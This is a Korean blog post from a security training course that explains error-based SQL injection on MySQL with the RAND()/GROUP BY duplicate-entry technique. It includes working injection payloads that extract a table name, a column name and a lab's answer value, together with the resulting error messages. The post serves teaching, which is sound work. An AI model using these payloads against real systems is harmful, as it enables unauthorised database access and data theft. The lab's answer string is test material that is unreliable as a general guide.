yon11b

[SK 쉴더스 루키즈] Error Based SQL Injection(MySQL) 본문

보안/SK 쉴더스 루키즈

[SK 쉴더스 루키즈] Error Based SQL Injection(MySQL)

yon11b 2026. 6. 24. 01:39
반응형

RAND() + GROUP BY -> Duplicate entry 에러를 이용하는 방식

테이블명 구하기

Oracle에서는 rownum을 사용했다면, MySQL에서는 편리하게 LIMIT 기능을 이용하면 된다.

qw%' AND (SELECT 1 FROM (SELECT COUNT(*), 
CONCAT(0x3a, 
(SELECT table_name FROM information_schema.tables 
WHERE table_schema=database() LIMIT 0, 1), 0x3a, FLOOR(RAND(0)*2)) x 
FROM information_schema.tables GROUP BY x) a) AND '%'='

 

쿼리문 해석

1. 공격 목적

현재 DB의 첫 번째 테이블명을 에러 메시지에 출력시키는 Error-based SQL Injection 기법이다.

결과 화면에 데이터를 출력하는 것이 아니라 DB 에러 메시지에 원하는 값을 포함시켜 노출시킨다.

 

2. 테이블명 가져오기

SELECT table_name
FROM information_schema.tables
WHERE table_schema = database()
LIMIT 0,1
 

현재 사용 중인 DB의 첫 번째 테이블명을 가져온다. 예: member

- 첫번째 테이블명 가져오기: limit 0,1

- 두번째 테이블명 가져오기: limit 1,1

- 세번째 테이블명 가져오기: limit 2,1

 

3. 에러 메시지에 넣을 문자열 생성

CONCAT(
    0x3a,
    'member',
    0x3a,
    FLOOR(RAND(0)*2)
)
 

0x3a는 : 문자이다.

 

예:

:member:0
:member:1
 

 

4. GROUP BY와 그룹키

GROUP BY는 같은 값을 가진 행들을 하나의 그룹으로 묶는다.

예를 들어 member 테이블이 다음과 같다고 하자.

name age
kim 20
lee 20
park 30
choi 30
hong 40
쿼리
SELECT age, COUNT(*)
FROM member
GROUP BY age;
 

 

결과

age count
20 2
30 2
40 1

 

이때 MySQL은 내부적으로 대략 이렇게 그룹을 관리한다.

그룹키 20 → 2명
그룹키 30 → 2명
그룹키 40 → 1명
 

여기서

20
30
40
 

이 그룹키(group key)이다.

즉,

GROUP BY age
 

이면 age 값이 그룹키가 된다.

 

5. 이 쿼리에서의 그룹키

문제의 쿼리는

GROUP BY x
 

를 사용한다.

 

여기서 x는

CONCAT(':', table_name, ':', FLOOR(RAND(0)*2))
 

의 결과이다.

 

예:

:member:0
:member:1
 

따라서 MySQL은 내부적으로

그룹키 ':member:0'
그룹키 ':member:1'
 

를 생성한다.

 

6. RAND(0)의 역할

FLOOR(RAND(0)*2)
 

RAND(0)은 seed가 고정된 난수 함수이다.

따라서 실행할 때마다 동일한 난수 순서가 생성된다.

 

예:

0
1
1
0
1
...
 

 

7. Duplicate Entry 에러 발생

예전 MySQL에서는 RAND(0)과 GROUP BY를 같이 사용할 경우,

:member:1
 

이라는 그룹키가 이미 존재하는데,

 

다시

:member:1
 

그룹을 생성하려고 시도하면서 충돌이 발생할 수 있었다.

 

결과:

Duplicate entry ':member:1' for key 'group_key'
 

 

8. 왜 이게 정보 유출인가?

에러 메시지 안에 member가 포함되어 있다.

즉 원래 보고 싶었던 테이블명이 그대로 노출된다.

예:

Duplicate entry ':member:1' for key 'group_key'
 

테이블명 = member
 

획득 성공.

 

limit 다음 숫자값을 1부터 하나씩 증가시켜가며 에러 메시지를 확인해보면 된다.

limit 3,1일 때 다음 메시지가 뜬다.

등록된 게시물이 없습니다. error code : [1062] Duplicate entry ':eqst_answer:1' for key 'group_key'

 

컬럼명 구하기

qw%' AND (SELECT 1 FROM (SELECT COUNT(*), 
CONCAT(0x3a, 
(SELECT column_name FROM information_schema.columns 
WHERE table_name='eqst_answer' LIMIT 0, 1), 0x3a, FLOOR(RAND(0)*2)) x 
FROM information_schema.tables GROUP BY x) a) AND '%'='
등록된 게시물이 없습니다. error code : [1062] Duplicate entry ':answer_column:1' for key 'group_key'

 

 

정답 구하기

qw%' AND (SELECT 1 FROM (SELECT COUNT(*), 
CONCAT(0x3a, (SELECT answer_column 
FROM eqst_answer LIMIT 0, 1), 0x3a, FLOOR(RAND(0)*2)) x 
FROM information_schema.tables GROUP BY x) a) AND '%'='
등록된 게시물이 없습니다. error code : [1062] Duplicate entry ':skinfosec_eqst_lms_system:1' for key 'group_key'

 

정답: skinfosec_eqst_lms_system

728x90